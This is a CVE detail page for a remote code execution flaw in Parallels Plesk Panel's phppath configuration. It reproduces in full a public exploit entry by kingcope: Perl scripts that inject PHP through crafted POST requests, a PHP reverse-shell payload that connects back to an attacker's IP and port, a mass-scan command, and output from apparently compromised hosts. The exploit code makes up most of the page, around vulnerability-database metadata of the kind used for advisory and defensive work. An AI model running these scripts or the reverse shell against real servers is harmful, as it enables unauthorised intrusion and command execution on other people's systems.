CVE-2013-4878 : Detail

CVE-2013-4878

A01-Broken Access Control
6.32%V3
Network
2013-07-18
16h00 +00:00
2024-09-16
16h42 +00:00
CVE.org
NVD
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CVE Descriptions

The default configuration of Parallels Plesk Panel 9.0.x and 9.2.x on UNIX, and Small Business Panel 10.x on UNIX, has an improper ScriptAlias directive for phppath, which makes it easier for remote attackers to execute arbitrary code via a crafted request, a different vulnerability than CVE-2012-1823.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 25986

Publication date : 2013-06-04 22h00 +00:00
Author : kingcope
EDB Verified : Yes

Plesk Apache zeroday / June 2013 discovered & exploited by kingcope this Plesk configuration setting makes it possible: scriptAlias /phppath/ "/usr/bin/" Furthermore this is not cve-2012-1823 because the php interpreter is called directly. (no php file is called) Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution Affected and tested: Plesk 9.5.4 Plesk 9.3 Plesk 9.2 Plesk 9.0 Plesk 8.6 Discovered & Exploited by Kingcope / June 2013 Affected and tested OS: RedHat, CentOS, Fedora Affected and tested Platforms: Linux i386, Linux x86_64 Untested OS: Windows (php.exe?) Unaffected: 11.0.9 due to compiled in protection of PHP version Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69% 6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61% 62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65% 3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" Shodanhq overview of Plesk on Linux: http://www.shodanhq.com/search?q=plesklin perl plesk-simple.pl <ip address> ... ... ... OK Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24 19:50:48 MSD 2012 i686 i686 i386 GNU/Linux uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv) --- ./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80 perl plesk-simple.pl 76.12.81.206 HTTP/1.1 200 OK Date: Sat, 16 Mar 2013 13:39:35 GMT Server: Apache/2.2.3 (CentOS) Connection: close Transfer-Encoding: chunked Content-Type: text/html 77 Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E ST 2012 x86_64 x86_64 x86_64 GNU/Linux 3e uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv) 0 perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error) HTTP/1.1 200 OK Date: Tue, 19 Mar 2013 15:29:28 GMT Server: Apache/2.0.54 (Fedora) Connection: close Transfer-Encoding: chunked Content-Type: text/html 3 OK 60 Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux 4c uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv) 0 use IO::Socket; use URI::Escape; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } use IO::Socket::SSL; use URI::Escape; $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch ############################################################################################################### plesk-simple-ssl.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket::SSL; use URI::Escape; $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch ############################################################################################################### plesk-simple.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket; use URI::Escape; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } ############################################################################################################### plesk.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket; use IO::Socket::SSL; use URI::Escape; sub usage { print "usage: $0 <target> <http/https> <local_ip> <local_port>\n";exit; } if (!defined($ARGV[3])){usage();} $target=$ARGV[0]; $proto=$ARGV[1]; if ($proto eq "http") { $sock = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); }elsif ($proto eq "https") { $sock = IO::Socket::SSL->new( PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); }else {usage();} $lip=$ARGV[2]; $lport=$ARGV[3]; $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip = '$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null; \$error_a = null; \$shell = '/bin/sh -i'; \$daemon = 0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid = pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\"); exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) { printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else { printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\"); exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 => array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process = proc_open(\$shell, \$descriptorspec, \$pipes);if (!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\"); exit(1);}stream_set_blocking(\$pipes[0], 0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2], 0);stream_set_blocking(\$sock, 0);while (1) { if (feof(\$sock)) { printit(\"done.\"); break;} if (feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1], \$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug) printit(\"SOCK READ\");\$input = fread(\$sock, \$chunk_size);if(\$debug) printit(\"SOCK: \$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1], \$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input = fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT: \$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2], \$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input = fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR: \$input\");fwrite(\$sock, \$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print \"\$string\n\";}} ?>"; $arguments=uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n". "Host: $ARGV[0]\r\n". "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n". "Content-Type: text/plain\r\n". "Content-Length: ". length($pwn) ."\r\n\r\n". $pwn; while(<$sock>){print $_;}; ###############################################################################################################

Products Mentioned

Configuraton 0

Parallels>>Parallels_plesk_panel >> Version 9.0

Parallels>>Parallels_plesk_panel >> Version 9.2

Parallels>>Parallels_small_business_panel >> Version 10.0

    Linux>>Linux_kernel >> Version *

    References

    http://seclists.org/fulldisclosure/2013/Jun/21
    Tags : mailing-list, x_refsource_FULLDISC
    http://www.kb.cert.org/vuls/id/673343
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://kb.parallels.com/116241
    Tags : x_refsource_CONFIRM